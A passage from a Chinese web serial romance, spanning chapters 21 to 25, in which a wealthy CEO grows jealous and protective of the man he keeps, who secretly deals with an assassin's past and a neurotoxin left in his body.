【疯了:@花燕子 会所新来了批模特,走起?】 【花燕子:忙,勿cue】 【疯了:???顾哥金屋藏娇不出门,你宋大少也要立贞节牌坊?别装,我可不信。白眼翻上天.jpg】 【花燕子:当我跟你似的游手好闲?明天董事会有三个并购案要审。】 【疯了:@顾鸣鹤 顾哥快管管,燕子他凶我。流泪jpg.】 【疯了:话说你家小宝贝养了小半月了吧?还没腻呢?坏笑jpg.】 【疯了:这绝对是真爱!求顾哥展开讲讲!搬板凳嗑瓜子jpg。】 “真爱”两个字在屏幕上跳得刺眼,裹着公子哥儿们心照不宣的戏谑。 【顾鸣鹤:管好你自己】 【疯了:兄弟这不是关心你嘛。狗头保命jog.】 【疯了:哪天你要换口味了,小弟随时给您物色新人选。斜眼笑jpg.】 宋燕归的消息顶上来: 【花燕子:靳云封你闲得蛋疼?鸣鹤缺你当皮条客?】 靳云封还在作死边缘蹦迪: 【疯了:话不能这么说~】 【疯了:但顾哥眼光是真毒,那小美人要是姑娘,我早冲了——】 最后半句没打完,顾鸣鹤的回复弹出: 【顾鸣鹤:?】 【顾鸣鹤:你再说一遍?】 三秒后。 疯了撤回了一条消息 【疯了:口嗨,纯粹口嗨!跪榴莲jpg.】 顾鸣鹤锁了屏幕,黑暗的屏幕映出他的脸。 书房门关得严实,甚至听不清外面的声音。 他忽然想起刚才时清徵蜷在椅子里打游戏的侧影。 烦躁感藤蔓般缠上心脏。 什么真爱? 不过是那群混蛋习惯性的调侃。 连他自己都分不清,究竟是厌烦他们轻佻的议论,还是抗拒那句“换口味”像根刺扎进潜意识。 指尖无意识摩挲着手机边缘。 占有欲罢了。 他对自己说。 像收藏家不允他人觊觎展柜里的瓷器,哪怕只是句玩笑。 群聊又跳出靳云封的补救: 【疯了:看来顾哥是遇到真爱了,没想到是嫂子,失礼了。磕头jpg.】 嫂子? 顾鸣鹤捻了捻指尖,仿佛还残留着昨夜扣住那人脚踝时的温度。 真是......越来越荒唐了。 顾鸣鹤将手机倒扣在桌子上,半晌没动。 过了一会儿才拿起手机,发了一条消息。 【顾鸣鹤:不是嫂子,别乱说。】 第21章 图个新鲜罢了 【顾鸣鹤:不过是图个新鲜罢了。】 群里静默几秒,随后消息疯狂刷屏。 【疯了:新鲜好,新鲜妙,兄弟,我懂你。】 【花燕子:嘶,我们又没说什么,你解释个什么劲?】 【花燕子:顾总怎么还跟我们报备这些呢?】 他们自然没有把“真爱”这种东西当真,不过是随口的调侃,顾鸣鹤怎么还认真了呢。 【顾鸣鹤:不想让你们误会而已。】 【花燕子:误会?想多了。】 像他们这种人有权势,有地位,从小含着金汤勺长大。 想要什么没有呢? 爱情这种东西嘛,对他们可有可无,不过是情感的消耗品而已。 花点钱让自己找点乐趣,自己轻松了,对方也得到了想要的。 你情我愿的事罢了。 【顾鸣鹤:那就行。】 很快这个话题被接揭去了,靳云封和宋燕归又开始天南海北的聊,感觉下一秒群就要被封了。 沈以煜看着顾鸣鹤的消息,微微扬眉。 其他两个人一个是精神大条,一个是花心萝卜,可能注意不到。 但就凭他对顾鸣鹤的了解,如果顾鸣鹤真的只是玩玩,没有上心,完全没必要解释。 此地无银八百两。 所以他总有种预感。 要打脸。 鬼使神差下,他截了图。 顾鸣鹤解释完一切,心情没由来的烦躁。 待在书房里,也不出去。 就连在外面打游戏的时清徵都不免有些好奇。 顾鸣鹤今天这么忙吗? 时清徵游戏外放,音效很炸裂,在安静的屋内显得格外突兀。 一局完,时清徵揉了揉脖子,往三楼走去,路过书房时,顾鸣鹤刚好出来。 顾鸣鹤一开门便看见了时清徵,两人都愣了一下。 顾鸣鹤莫名生出了些心虚来,有种被抓包的虚浮感。 他手里还紧握着门把手,半晌没松开。 “你......” 时清徵眨了眨眼,晃了晃自己的手机:“路过,好巧啊。” 手机上还是游戏结算界面。 顾鸣鹤一时间不知道说些什么,脑子有点空,顺势接话道:“确实很巧。” 回过神来又有些懊悔。 他在说什么? 巧个屁啊。 但说出去的话又不能撤回,他强装镇定地反手带上房门,动作有些僵硬。 随后故作镇定往外走。 时清徵察觉到他情绪的异常,不过并没有放心上,脚步自然地跟在他后面往卧室走。 谁知顾鸣鹤率先走进门,站在门外挡住时清徵。 时清徵:? 他抬眼看顾鸣鹤,不明所以。 “你,我今天自己睡。”顾鸣鹤留下这么一句,就准备关门。 时清徵是有自己房间的,但自从他来了这里,就没一个人睡过。 “哎——” 时清徵眼疾手快,一把拦住门侧。 顾鸣鹤:“还有事?” 他居高临下地看着时清徵,眼神中带着些许复杂的神情。 反正时清徵没看懂那个眼神。 “我电脑还在你房间呢。” 顾鸣鹤在脑子里已经过了十几种拒绝他的话术,下意识开口。 “不行。” 一出口,他才反应过来时清徵问了什么,自己一瞬间僵住了。 顾鸣鹤:“........” 时清徵诧异抬头,不解道:“为什么?” 顾鸣鹤几乎是咬牙说道:“没有为什么。” 说完“砰——”地一声,门被摔上了。 站在原地的时清徵看着门愣神。 啊这....... 莫名其妙。 这是吃枪药了? 摔完门的顾鸣鹤也站在原地,脑子里冒出来一个想法。 自己刚才是不是太凶了。 他一个人躺在床上,看着身边空荡荡的位置,一时间居然还有些不适应。 偌大的床上只有他一个人,他下意识伸手想要捞住些什么,却只碰到一片冰凉。 鼻尖似乎萦绕着那天身上清爽的气息。 闭上眼睛,他试图驱散这一份不适。 但越是逃避,这种感觉就越明显。 倏地,他睁开眼,意识到了什么。 不对啊,自己花钱养他,干嘛让他出去? 顾鸣鹤按了按眉心。 他觉得自己可能是太累了。 顾鸣鹤盯着天花板发呆。 他确实不讨厌时清徵。 应该说,远不止不讨厌。 那家伙长得漂亮,性格温顺乖巧,也对他胃口。 虽然偶尔会耍些小性子,喜欢挑食,但这些都无伤大雅。 亲昵相处这么多天,怎么可能没有感情。 顾鸣鹤烦躁地抓了抓头发,盯着旁边空荡荡的枕头,心里默念。 人之常情,人之常情。 时清徵靠坐在客卧窗边的小沙发上,手机随意搁在腿上。 窗外,雨势渐歇,只剩零星雨滴在玻璃上蜿蜒滑落,拖出细长的水痕。 他无意识地屈指轻敲着膝盖,手机屏幕在昏暗光线下明明灭灭。 顾鸣鹤今晚的反常,像根细小的刺扎进他心里。 腻了? 这个念头刚冒出来就被他掐灭。 时清徵对自己的资本有清醒的认知——这张脸,这副身体,还有他刻意收起的爪牙,足以让任何金主保持足够的新鲜期。 顾鸣鹤的反应.......想不通。 手指在冰冷的屏幕上无意识地划拉着,发出单调的“哒哒”声。 他试图分析顾鸣鹤关门时那复杂难辨的眼神,却毫无头绪。 就在这时,手机屏幕骤然亮起,特殊的加密铃声在寂静的房间里显得格外突兀。 时清徵垂眸,屏幕显示着来自盟洲的加密通讯ID。 是他的私人医学研究所。 接通电话,他声音沉静:“什么事?” 盟洲此刻应是午后阳光正好。 电话那头传来一个沉稳干练的男声:“埃特纳斯先生,最新一批的‘生命摇篮’系列药物,三期临床数据反馈回来了,效果远超预期,比之上一代,稳定性和细胞修复速率都有所提升。” 时清徵的指尖在沙发扶手上轻轻点了一下。 这个由他个人全额注资,设立在盟洲的尖端医学研究所,是他给自己铺设的一条重要后路。 研究所的方向非常明确且“实用”。 断肢再植技术、深度创伤细胞修复、神经毒素高效拮抗剂....... 以及,针对他自身因早年高强度训练和频繁任务留下的各种暗伤及潜在后遗症的特效治疗药物。 顶尖的杀手需要顶尖的医疗来保驾护航,而有些市面上没有或者不够完美的技术,他就自己花钱砸出来。 这不仅是投资,更是对他自己生命安全的直接保障。 “把第一批成品送到FK生物科技。” “好的。” 这个研究所研发的药剂通常由FK生物科技接收,再分配到其控股的多家制药企业进行量产。 时清徵:“创生型药物研究的怎么样了?” 对面:“最新的迭代药物目前还在研究阶段。” “是先前的抑制剂失效了吗?”对面的人小心翼翼地问道。 时清徵幼时在幽灵组织被迫参与一项人体改造实验,成了实验品之一。 在那几年里,时清徵被注射了与神经兴奋剂有关的药物。 以至于周期性身体机能衰竭。 最近两年格外频繁,因此这才是时清徵很少接任务的原因。 对于他这种顶级杀手而言,出任务时身体机能下降很有可能会要命。 而时清徵是一个很惜命的人。 第22章 神经毒素 时清徵眸光沉了沉,冷声道:“抑制剂只是拖延时间,我需要的是彻底解决问题的方案。” 不定期神经毒素发作会导致他身体虚弱甚至出现幻痛,于时清徵的职业而言,这是十分危险的。 “是,埃特纳斯先生。”对面的研究员小心道。 埃特纳斯是时清徵在国外的名字,自从他进入FK后就一直是用这个名字来处理事物。 埃特纳斯,有万岁永恒的意思。 那时时清徵刚从幽灵组织中逃出,获得新生。 一个人最缺什么,就会越把缺少的东西放在明面上。 万岁是这样。 埃特纳斯也是这样。 他只是希望自己能如这些名字的寓意一样。 这个研究所大多数的投资都来源于埃特纳斯先生,说是埃特纳斯先生一人养活了一个研究所也不为过。 但研究所内部人并不清楚埃特纳斯先生的具体身份,只知道他是FK集团高层。 “砸了那么多钱,你们总要让我看到一些实质性进展。” “是,我们一定加快研究进度。” 时清徵并不指望这个研究所给他挣多少钱,只是为了让他们帮忙解决他身体里的隐患。 这个神经毒素就像是一个不定时炸弹,时不时就要跳出来滴滴几声。 通话结束,时清徵将手机扔在一旁,修长的手指重重按在眉心。 这个神经毒素最棘手的地方就在于它的不可预测性。 发作时间随机,持续时间不定,强度也毫无规律可循。 他至今记得三年前那个雨夜,任务进行到关键时刻突然神经幻痛,险些连枪都脱手了。 那次他差点把命丢在那里,靠着最后一丝本能才逃出生天。 奇怪的是,之后很长一段时间都风平浪静,让他几乎要忘记这件事。 直到例行体检时,医生拿着脑部扫描结果,指着那些异常的神经信号告诉他: “你的中枢神经系统正在被某种未知毒素侵蚀,如果不及时治疗很有可能影响你的以后的正常生活.......” 从那天起,他砸下重金,组建了这个研究所。 也是从那天起,时清徵的脾气变好了不少,不然就照他几年前的那个脾气,怕是会直接用暴力解决问题。 但几年过去,研发的药剂始终只能暂时压制症状,无法根除毒素。 身体机能短时间下降看似并不是什么大问题,但那只是个开始。 毒素在他体内不断积累,这个身体机能下降时间会不断攀升。 直到某天,他可能连扣动扳机的力气都没有。 他不能赌,也不敢赌。 时清徵可以不做杀手,但他不能像一个活死人一样活着。 神经毒素这件事情时清徵没有跟任何人说,就连昏鸦和青鸟也不知道。 想要解决自己身上的神经毒素,可能还得拿到幽灵组织当年的实验数据。 时清徵这两年一直在暗中调查,不过并没有什么线索。 “哎——” 时清徵叹了一口气。 他怎么感觉自己命这么苦呢? 次日。 顾鸣鹤吃完早餐,连个眼神都没给时清徵。 两个人几乎没什么交流。 时清徵挑了挑眉,慢条斯理地喝完最后一口咖啡。 他今天状态不太好,破译档案时太阳穴突突地跳,第三层加密算法像团乱麻,越解越头疼。 “啧。” 他烦躁地合上笔记本,捞起手机想转移注意力。 屏幕亮起的瞬间,热搜榜第十六条赫然跳入眼帘: #江氏集团新任大股东江南月# 时清徵八卦之魂瞬间燃起。 他点开词条,置顶是财经频道发布的快讯: 【突发!江氏集团股权结构生变,神秘股东江南月持股55%成实际控制人】 评论区已经炸开了锅: 【挖槽这姐们谁啊?一夜之间拿下江氏? 】 【查了下公开资料,查不到】 【楼上可以不用说废话。】 【这位是江家嫡系,但之前一直在海外......】 【又是豪门恩怨啊。】 【小道消息,昨天江老爷子寿宴上,这位直接甩刀子了。】 【楼上展开说说?我板凳都搬好了!】 【展开说说+1】 【同上。】 时清徵兴致勃勃地刷着评论区,不得不感叹现在网友的人脉网真是无孔不入。 【这就要牵扯到一段狗血的豪门恩怨了......】 这条评论一出,立即引来无数追问。 【我靠?展开说说!】 【最恨这种说话说一半的!】 【楼主你是懂流量的。愤怒jpg.】 往下翻,还真有几个自称“知情人”的爆料: 【我爸同事的哥哥的对象他爸认识江氏一个小股东的侄子】 这位网友用复杂的关系网开头。 【听说那位大小姐是带着真金白银找那些股东谈的,开价是市值的3倍】 【补充楼上】 另一个ID接话。 【我表姐在投行,说这位江南月背后有境外资本支持,谈判时那些股东都低头装孙子。】 时清徵看到这里,手指突然一顿 ——最新跳出来的评论赫然写着: 【内部消息,这位可是带着资金杀回来的,昨天寿宴上老爷子脸都绿了。】 【这群网友什么都找得到,就是......】 【找不到对象。狗头jpg.】 【楼上两位,你们逾越了,我们只是普通网友而已。】 【小心被开户。微笑jpg.】 网友吃瓜吃得飞起,江氏集团居然也没有发什么声明。 正想着,手机突然震动,一条消息弹出: 【性感母蟑螂在线耍流氓:看到热搜没?姐帅不帅?叼玫瑰自拍jpg.】 【你洗了蒜了:阵仗挺大。】 【性感母蟑螂在线耍流氓:做亏心事的又不是我,怕什么热搜?挖鼻孔jpg.】 【你洗了蒜了:。】 时清徵想象江南月现在的表情,怕是已经得意得要把鼻孔翘到天上去。 【性感母蟑螂在线耍流氓:这两天有的忙了~话说你这么闲,能不能......搓手手jpg.】 【你洗了蒜了:想都别想。】 经验告诉时清徵,这人准没好事。 【性感母蟑螂在线耍流氓:哎我还没说干嘛呢!气鼓鼓jpg.】 【你洗了蒜了:放。】 时清徵太了解这人了,真要有正事,她绝对会走FK集团的加密通道。 现在用社交软件闲聊,摆明是夺权成功闲得发慌。 果然—— 【性感母蟑螂在线耍流氓:人家太久没回京城了,我弟弟们都想我了,我得去陪他们。哭唧唧jpg.】 【你洗了蒜了:???你哪里的弟弟,亲弟弟?】 【性感母蟑螂在线耍流氓:情弟弟。】 【性感母蟑螂在线耍流氓:江氏集团也没什么事,就是集团内部变动有点大,原本CEO是我那个二叔,我现在把他赶下台了,职业经理人还没到。】 【性感母蟑螂在线耍流氓:哭唧唧jpg.】 【你洗了蒜了:SO?】 【性感母蟑螂在线耍流氓:你可以先来我这顶一阵吗,我给你钱。大哭jpg.】 【你洗了蒜了:没空。】 【性感母蟑螂在线耍流氓:不信。白眼jpg.】 【你洗了蒜了:要不我把档案还你?】 对面许久都没有信息发来。 江南月一脸悲伤地看着手机,对另一个备注【宝贝三号,奶狗型】的人发了条语音。 【性感母蟑螂在线耍流氓:语音23秒】 【性感母蟑螂在线耍流氓:没空陪你了宝宝,等我忙完这一阵。亲亲】 【宝贝三号,奶狗型:好的姐姐,我等你。】 【宝贝三号,奶狗型:姐姐也要注意休息哦,不然我会心疼的。】 【性感母蟑螂在线耍流氓:宝贝真贴心,先委屈你几天,想要什么自己买。】 【宝贝三号,奶狗型:嗯嗯(?′ω`?)】 第23章 打工人不容易啊 敷衍完那几位,江南月开始控诉时清徵。 【性感母蟑螂在线耍流氓::)】 【性感母蟑螂在线耍流氓:我就知道你靠不住,要你何用?】 【你洗了蒜了:的确没用,互删吧。】 【性感母蟑螂在线耍流氓:艹你大爷。】 【你洗了蒜了:那得麻烦你去找找了,我也不知道他在哪。】 【性感母蟑螂在线耍流氓:........】 时清徵还好心提醒道: 【你洗了蒜了:可能在东南群岛那边。】! 这条消息后面跟了个鲜红的感叹号。 被删了。 时清徵切了一声,将手机丢到一旁。 没意思。 天和集团秘书部今天气压低得吓人,所有人都默契地保持着沉默。 起因是早晨刚上班,众人就撞见了自家总裁那张能冻死人的冷脸,明眼人都能看出他今天心情极差。 现在整个秘书部的人都在互相推诿,谁都不愿意去总裁办送文件。 与此同时,一个名叫【牛马想要买宝马】的私人群里。 【小李想要劳:顾总今天是被谁惹到了?这脸色也太可怕了吧】 要知道顾鸣鹤平时待人接物都很温和,像今天这样黑着脸的情况实在少见。 【周周清:完全没听说啊,昨天下午开会的时候还好好的。】 【王美丽:+1,早上给顾总送咖啡的时候就感觉他心情不好,我手都要抖了。】 【周周清:盲猜一波,是不是合作问题?】 【小李想要劳:不可能,盲猜是私事。】 【王美丽:难道是感情问题?】 【周周清:也不是没这个可能。喝茶jpg.】 【王美丽:我们还是别瞎猜了,万一被发现我们在背后蛐蛐......】 【周周清:怕啥,我们这群一看就知道是老实本分打工人。斜眼笑jpg.】 【小张:所以那份文件谁去送?】 【周周清:我觉得应该找一个资质老的。】 【小张:我觉得应该找个工作能力强的。】 【王美丽:我觉得我是对不上。】 【小李想要劳:.......】 【周周清:@小李想要劳 李姐拜托了。】 【小张:@小李想要劳 李姐拜托了。】 【王美丽:@小李想要劳 李姐拜托了。】 李姐是总裁办资历最老的秘书,工作经验也最是丰富。 此刻,在同事们无声的注目礼和殷切期盼下,她深吸一口气,轻轻叩响了的总裁办公室大门。 “进。” 门内传来顾鸣鹤低沉的声音。 李姐推门进去,只见顾总正埋首于一份厚厚的文件,眉头微锁,手中的钢笔在纸页上划出利落的批注,连眼皮都没抬一下。 “顾总,这是与顺远集团的战略合作书,需要您亲自签批。” “放这儿。” 顾鸣鹤的视线依旧放在眼前的文件上,语气平淡无波。 “好的顾总。” 李姐不敢再多看,更不敢停留,放下合作书立刻转身。 脚步放得又轻又快,几乎是屏着呼吸退出了办公室,反手轻轻带上了门,动作一气呵成,干净利落。 门合上的瞬间,她才暗暗松了口气。 回到秘书办,众人投来好奇的目光。 “李姐,情报探查地如何?” 李秘书耸了耸肩:“想知道啊,总裁办就在旁边,自己去问。” 其他人:嘤嘤嘤,李姐你没有心。 顾鸣鹤难得划开手机,想给时清徵发条消息,指尖悬在屏幕上方时突然顿住。 他好像......根本没有时清徵的联系方式。 往常有什么需要,他都是直接吩咐管家转达的。 顾鸣鹤:“.......” 手指转而点开另一个对话框。 【顾鸣鹤:书房有份文件需要送来。】 管家的回复几乎秒到。 【岁月静好(李管家):马上安排人给您送去。】 顾鸣鹤的拇指在屏幕上摩挲了两下。 【顾鸣鹤:让时清徵送。】 管家盯着这个名字迟疑片刻,虽然疑惑但仍恭敬回复: 【岁月静好(李管家):好的,这就通知时先生。】 另一边,时清徵听完李管家的转述,微微颔首。 “好的,具体是哪份文件?” 李管家取出一份密封的文件袋,递了过去。 “麻烦时先生送到天和集团总裁办,顾总那边会安排人接你。” 时清徵接过文件,转身往外走。 李管家站在原地,若有所思地看了眼那份文件。 这个不过是份普通合同,平时随便派个助理就能送,怎么今天....... 他摇摇头,没再多想。 时清徵乘车抵达天和集团,目光向上掠去。 大厦高耸入云,这一整栋都是天和集团的产业。 他走进一楼大厅,目光快速扫过接待台和往来的人群,没有看到前来接应的人影。 略作停顿,他走向人相对较少的一处角落,在皮质沙发上坐了下来。 大厅里人流不少,有拿着简历的求职者,也有提着公文包步履匆匆洽谈业务的人。 时清徵安静地坐着等了一会,忍不住打开了手机游戏。 只是处于公共场所,他没有开游戏音效。 不过横着的手机屏还是有些突兀。 但大多数人的注意力都不在他这里。 时清徵等了将近二十分钟,依然没人来接应。 他点开手机给李管家发消息: 【你洗了蒜了:李叔,先生安排谁来接?】 【岁月静好:这个......我也不清楚,要不您直接联系顾先生?】 【你洗了蒜了:我没有他的联系方式】 【岁月静好:啊这.......我帮您问问看】 李管家握着手机犹豫不决。 没有顾先生授意,他哪敢擅自给联系方式?万一这是顾总故意为之呢? 李管家的消息发出去后石沉大海。 时清徵继续坐着等待,手指在手机屏幕上轻点。 一分钟,两分钟....... 时清徵觉得他现在的耐心倒是比以前好多了,可以去练忍术了。 这时,面前出现了一道阴影。 一个穿着西装的男人在他的对面坐了下来,目光在他手机屏幕上停留片刻。 正在玩植物大战僵尸的界面。 等时清徵结束一局游戏,对方才开口: “你是来应聘的?” 大厅里多数不是求职者就是来谈合作的。 时清徵摇头:“不是。” “那就是来谈项目的?”对方锲而不舍。 时清徵没有接话。很多没有预约的合作方都会在这里蹲守,希望能偶遇高层。 男人只当他是默认了。 他叹了一口气道:“你等多久了?” 时清徵:“......半小时了。” 他中饭还没吃呢,早知道晚点来了。 男人摇头苦笑:“我等一上午了,大家都不容易啊。” 这话让时清徵想到了他以前接了一个刺杀任务,在那人的必经之路上趴了一天一夜的苦逼经历。 于是感同身受地回道:“对啊。” 打工人真不容易啊。 第24章 背靠大树好乘凉 男人像是终于找到了倾诉对象,滔滔不绝地跟时清徵聊了起来。 他整了整西装领口,语气热络: “我们公司最近筹备了一部大制作,剧本打磨了两年,导演是拿过金像奖的,主演阵容也谈得差不多了,就差一些投资,所以来这里碰碰运气。” 他边说边从名片夹里抽出一张烫金边的名片,双手递过来:“我叫张全民,是月光传媒的项目总监,负责这次合作。” 秉持着多一个朋友多一条路,张全民也不会随意得罪人。 时清徵礼貌地接过名片,指尖在烫金字体上轻轻摩挲了一下。 他犹豫着开口:"其实我不......" 话还没说完,张全民就笑着摆摆手:“理解理解,现在谈合作都不容易。我在这儿蹲了三天了,连天和高层的影子都没见着。” 他压低声音:“你要是有什么门路,咱们可以资源共享......” 于是乎,两人就着如今电影行情开始聊了起来。 时清徵常年居住国外,对国外的电影也比较熟悉,两人也算得上是聊得来。 张全民摇了摇头道:“不过这两年的电影行情不是很好。” 时清徵闻言,平静接话:“也不能这么说。” 就当张全民以为他要举几个好电影的例子时。 时清徵开口补充道:“应该是近十年都没有什么好电影,一直在走下坡路。” 张全民:.......?? 等等。 时清徵想到了什么,继续道:“毕竟对于拍电影的人来说,电影只是一种赚钱手段。” 张全民:嘶。 “其实好电影也是有的。” 时清徵点头:“我并没有否认这一点,不过......” 忽然时清徵意识到什么,没有再说话。 “不过这只是我个人看法罢了,我就一门外汉,不懂电影行业。” 时清徵笑了笑。 方才一聊他就没忍住。 先前他在国外也投过几部获了奖的电影,电影上映时被几个朋友拉着去看。 当时他们也顺势聊过这个话题。 不过几人都不是主要做这个行业的,也就聊着玩。 张全民:“是吗,哈哈。” 笑容有些尴尬。 天和集团总裁办 顾鸣鹤的目光扫过腕表,眉宇间凝聚起一丝不耐:“人呢,还没到?” 站在一旁的李特助赶紧汇报:“顾总,我让小陈下去接了,可能还需要些时间......”他声音渐弱,自己也有些不确定。 顾鸣鹤拿起桌上静音的手机,屏幕亮起,赫然显示着半小时前李管家的未读信息: 【岁月静好(李管家):先生,时先生还在下面等着。】 在下面等了半小时? 顾鸣鹤霍然起身:“你下去.......算了。” 他话说到一半又顿住,脚步已经比思维更快地迈向门口。 李特助心头一跳,不敢多问,快步跟上。 午休时间,办公区一片沉寂,多数员工已去用餐。 李特助心中升起一丝不好的预感,径直走向行政部的玻璃隔间。 隔着玻璃,看见让他血压飙升的一幕。 小陈正翘着二郎腿,悠闲地靠在工位上。 此时正一手端着咖啡杯,另一只手随意地划拉着手机屏幕,不时和旁边凑过来的同事说笑,脸上是毫不掩饰的轻慢。 李特助几步上前,敲了敲隔断玻璃,声音带着压抑的怒气:“小陈!让你去接的人呢?” 小陈闻声,慢悠悠地转过头,瞥见李特助,才像是终于想起有这么回事,脸上却毫无愧色,反而带着点被打扰的不耐烦:“哦,李特助啊?” 她敷衍地抬了抬下巴:“你说接人那事儿?嗐,我这边一堆事儿忙着呢,一时没顾上。” 她嘴上说着“没顾上”,身体却纹丝不动,反而低头啜了口咖啡,才慢条斯理地补充道: “多大点事,急什么?我现在给前台发个信息,让人直接上来不就得了?” 说完,她甚至没立刻去拿手机,反而又兴致勃勃地接了旁边同事递过来的话题,发出一阵笑声,完全没把李特助的质问和等待的客人当回事。 “忘了?”一个冰冷的声音在她身后响起。 小陈这次看清了不知何时站在李特助身后的顾鸣鹤,手猛地一抖,咖啡泼洒出来烫到了手。 她“嘶”了一声,慌乱地放下杯子站起身,脸上闪过一丝被抓包的惊慌,但随即又被一种习惯性的倨傲取代:“顾、顾总!” 她清了清嗓子,试图找回那点底气,“哦,接人那个事啊......李特助是提过一嘴,可我这手头正处理赵总要的文件呢,一时真给忘了。 不过您放心,就一个送文件的嘛,让他在下面多等会儿又怎么了?我现在就通知前台......” 顾鸣鹤的眼神冰冷地扫过她桌上散乱的文件和吃了一半的零食袋最后定格在她强装镇定却难掩傲慢的脸上: “李特助交代的任务,在你这里,不及一杯咖啡,不及几句闲谈?” 小陈脸上的血色瞬间褪去,冷汗涔涔。 她想辩解,搬出孙董,但在顾鸣鹤那不含一丝温度的目光逼视下,竟一个字也吐不出来,只剩下嘴唇无意义地哆嗦着。 顾鸣鹤不再看她,声音平静:“你明天不用来了。” 小陈腿一软,差点瘫坐在地,大脑一片空白。 李特助深吸一口气,狠狠剜了一眼小陈。 小陈猛地回过神,一把死死拽住李特助的胳膊,声音尖利:“李特助!顾总什么意思?他不能这样,我,我可是孙董介绍过来的。” 她几乎是吼出来的。 李特助用力抽回自己的手臂,看着她那张因惊惧和怨毒而扭曲的脸,只冷冷地、清晰地吐出一个字:“哦。” 那眼神里的鄙夷和“那咋了”的含义毫不掩饰。 小陈的学历和能力并不算出众,之所以能在天和集团有恃无恐,还是因为“背靠大树好乘凉”。 因此小陈不把任何人放在眼里,同事们也知道她有背景,不敢随意招惹。 即使是看不惯也选择敬而远之。 实则小陈这种行为早就引起很多人不满了,只是没人敢讲出来罢了。 李特助也没再看小陈那瞬间黑如锅底的脸色,匆匆追着顾鸣鹤的背影而去。 李特助先前找小陈去接时清徵的确是有些私心的,他觉得小陈肯定会怠慢时清徵。 到时候时清徵只要在顾鸣鹤身边顺嘴提一句,顾总很有可能会为他撑腰。 不过李特助并没有想到小陈会连去都不去,更没想到她会如此嚣张地无视。 楼下,时清徵和张全民两人正说着,电梯方向突然传来一阵骚动。 是顾鸣鹤。 张全民猛地站起身,手忙脚乱地整理领带。 时清徵却依然坐在沙发上,慢条斯理地把玩着那张名片。 顾鸣鹤的目光在两人之间扫过,最后定格在时清徵手中的名片上,眉头几不可察地皱了一下。 第25章 他还是太贫穷了 顾鸣鹤垂眼望着沙发上纹丝不动的时清徵,喉结微动。 “久等了。”声音比刚才对旁人时软了三分。 时清徵:“也就半个多小时吧。” 他没什么表情,也没有动,只是手指在身侧微微一叩。 顾鸣鹤眉心一跳:“我带你去吃饭。” 沙发旁的张全民已经石化。 他有些僵硬的回头看了时清徵一眼。 这个小兄弟....认识顾总?! 看起来关系还很不错的样子。 手一抖,手里那张准备再次递出的烫金名片滑落在地。 正落在顾鸣鹤锃亮的鞋尖旁。 顾鸣鹤没有看那张落在地上的名片。 他的目光重落在时清徵身上:“别生气了,跟我去吃饭。” 时清徵终于站起身,手里那份纹丝未动的文件袋轻轻抵在顾鸣鹤胸前:“文件送到了先生,告辞。” 他侧身绕过僵在原地的顾鸣鹤,眼角余光都没扫一下地上的张全民,径直走向旋转门。 顾鸣鹤拿着牛皮袋,上面没有一丝褶皱。 隔着薄薄的纸袋,他甚至能感觉到时清徵指尖残留的力道。 不是递,是抵。 张全民保持着递名片的姿势僵在原地,眼睁睁看着顾鸣鹤眼底的阴霾翻涌又归于平静。 “顾总!”他情急之下提高了声调,引得大厅里零星几个职员纷纷侧目。 张全民顾不得这些,连忙压低声音道:“我是月光传媒的张全民,之前与贵司投资部接洽过《浮光》的项目......” 顾鸣鹤终于将目光落在他身上,修长的手指接过那张烫金名片。 张全民心头一喜,却在对上那双深不见底的眼睛时,后背沁出一层冷汗。 “张总监”,顾鸣鹤指尖轻捻名片,“和刚才那位聊得很投缘?” 张全民喉结滚动,谨慎答道:“只是.......聊了些电影相关的话题。” “电影......”顾鸣鹤若有所思地重复这个词。 突然转向李特助:“安排个时间,我要亲自与张总监谈谈这个项目。” 李特助诧异地看了自家总裁一眼,还是立即应下:“好的,我这就调整行程。” 直到顾鸣鹤的身影消失在旋转门外,张全民还站在原地发愣。 他低头看着自己微微发抖的手,不敢相信就这样撞上了天大的运气。 顾总竟然要亲自过问他的项目? 另一边,时清徵把手揣在兜里往外走。 虽然已经入秋了,但此时却还没有特别冷,阳光还有些大。 后面传来脚步声。 是顾鸣鹤。 时清徵放慢了脚步。 下一秒,顾鸣鹤拉住了时清徵的手腕。 时清徵也没说话,再也没有继续往前走,就那么站在原地。 顾鸣鹤微微俯身,另一只手扶着时清徵的腰,形成一个若有若无的包围圈。 他低头凑近,身上还带着好闻的气息。 不像香水,不刺鼻,不仔细闻也闻不到。 但时清徵注意到了。 “至少听我解释。”顾鸣鹤声音压得很低,带着几分无奈的宠溺,温热的气息拂过时清徵耳畔。 时清徵睫毛轻颤,显然没料到顾鸣鹤会在大庭广众之下这般姿态:“先生要解释什么?” 顾鸣鹤的侧脸被镀上一层暖光,显得整个人气质都平和了。 他保持着这个俯身的姿势,指尖若有似无地掠过时清徵的袖扣:“这里人多,我们换个地方说。” 正好时清徵也不想被人围观,毕竟现在走在外面的人还是不少的,其中并不乏认识顾鸣鹤的。 此时好奇八卦的目光落在两人身上。 时清徵抿着唇,反手拉住顾鸣鹤的袖口。 直到坐进私密性极佳的包间,顾鸣鹤才松开一路上虚扶着时清徵后腰的手。 他亲自斟了杯茶推过去,杯底与桌面相触时发出一声轻响。 “先生晾了我好久。”时清徵率先开口,指尖在桌面画着圈,语气里带着几分刻意的委屈。 顾鸣鹤忽然倾身向前,手掌覆上他放在桌面的手。 这个突如其来的动作让时清徵呼吸一滞。 “是我没安排妥当。” 顾鸣鹤拇指在他手背轻轻摩挲,声音沉而缓:“我保证下不为例。” “顾先生真是能屈能伸。”时清徵笑意浅浅。 顾鸣鹤也不知道为什么。 只是他觉得弯腰哄一哄时清徵也没什么大不了的。 不是什么丢人的事。 原本他以为时清徵走后他会生气,会觉得他不识好歹。 结果现实好像不是这样的。 下意识就追出去了。 时清徵其实也算不上生气,毕竟在哪玩手机不是玩呢? 只是刚才真不怎么想给顾鸣鹤好脸色。 现在时清徵是真觉得顾鸣鹤脾气好。 菜很快做好端了上来。 顾鸣鹤眉眼带笑,看着他。 “尝尝这个。” 先前他就注意到了,时清徵似乎不喜欢重口味的饭菜,对西餐的反应也一般般。 所以他今天带时清徵来的餐馆规模不大,但隐私性极好。 是古色古香的风格,看起来极为典雅。 这种建筑风格是A国特有,数千年沉淀的精华,看看也是赏心悦目。 在这里,时清徵心情都好了不少。 “你和那个....拍电影的先前在聊什么?”顾鸣鹤问道。 时清徵眨了眨眼:“张全民啊?聊了一些电影。” “你对电影感兴趣?” “还好吧,有一点兴趣罢了。” 时清徵感觉自己对什么事情都有些兴趣,等他的事情都了结了,时清徵觉得自己有很多事情可以去干。 